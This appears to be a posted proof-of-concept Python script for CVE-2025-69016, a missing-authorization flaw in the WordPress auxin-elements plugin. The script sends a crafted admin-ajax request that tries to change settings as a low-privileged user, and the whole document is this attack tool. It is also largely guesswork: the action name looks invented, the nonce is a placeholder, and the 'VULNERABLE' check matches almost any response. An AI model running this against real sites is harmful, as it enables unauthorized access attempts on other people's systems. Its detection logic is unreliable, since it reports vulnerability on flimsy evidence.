CVE-2025-69016

import requests import sys # CVE-2025-69016 PoC - Missing Authorization in auxin-elements plugin # Target: WordPress site with auxin-elements plugin <= 2.17.15 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-69016 This PoC attempts to access admin-level functionality as a low-privileged user """ target = target_url.rstrip('/') # Common auxin-elements endpoints that should require admin privileges vulnerable_endpoints = [ f"{target}/wp-admin/admin-ajax.php", f"{target}/wp-json/auxin/v1/" ] print(f"[*] Testing target: {target}") print(f"[*] CVE-2025-69016 - Missing Authorization in auxin-elements") # Test with low-privilege session (simulated) session = requests.Session() # Note: In real attack, attacker would use a low-privilege user account # and craft requests to admin-only functions # Example POST request that might exploit the vulnerability exploit_data = { 'action': 'auxin_shortcode_admin_action', 'nonce': 'attacker_provided_or_bypassed_nonce', 'sub_action': 'modify_settings' } print("[*] Sending exploit request...") try: response = session.post( vulnerable_endpoints[0], data=exploit_data, timeout=10 ) if response.status_code == 200: # Check if response indicates successful unauthorized access if 'success' in response.text or 'settings' in response.text.lower(): print("[!] VULNERABLE - Unauthorized access possible!") return True print("[*] Target may not be vulnerable or request failed") return False except requests.RequestException as e: print(f"[*] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ") check_vulnerability(target)

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